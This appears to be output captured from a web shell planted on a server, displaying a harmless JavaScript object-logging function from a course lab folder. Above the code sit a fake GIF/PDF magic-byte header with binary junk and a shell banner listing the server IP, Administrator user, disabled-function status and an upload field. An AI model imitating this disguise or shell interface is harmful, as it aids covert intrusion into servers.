GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab13/ |
Upload File : |
// function clog(name,obj,i) // Display object contents. // name = The name to display in the log. // obj = The object to display info about. // i = The index of the object to display. // If i is undefined only the first level indexes are displayed as console.info(). // If i is '' then all object levels are displayed. // If i is an index of the object then that index is displayed. function clog(name,obj,i) { var c; var j; var cn = name+': {'; var prefix = ' '; if ( i != undefined ) { if ( i != '' ) { for ( j in obj[i] ) { if (!obj[i].hasOwnProperty(j)){continue;} if ( typeof obj[i][j] != 'number' ) { c = "'"; } else { c = ''; } cn += prefix+j+':'+c+obj[i][j]+c; prefix = ', '; } } else { for ( j in obj ) { if (!obj.hasOwnProperty(j)){continue;} if ( typeof obj[j] != 'number' ) { c = "'"; } else { c = ''; } cn += prefix+j+':'+c+obj[j]+c; prefix = ', '; } } cn += ' }'; console.log(cn); } else { for ( j in obj ) { if (!obj.hasOwnProperty(j)){continue;} if ( typeof obj[j] != 'number' ) { c = "'"; } else { c = ''; } cn += prefix+c+j+c; prefix = ', '; } cn += ' }'; console.info(cn); } }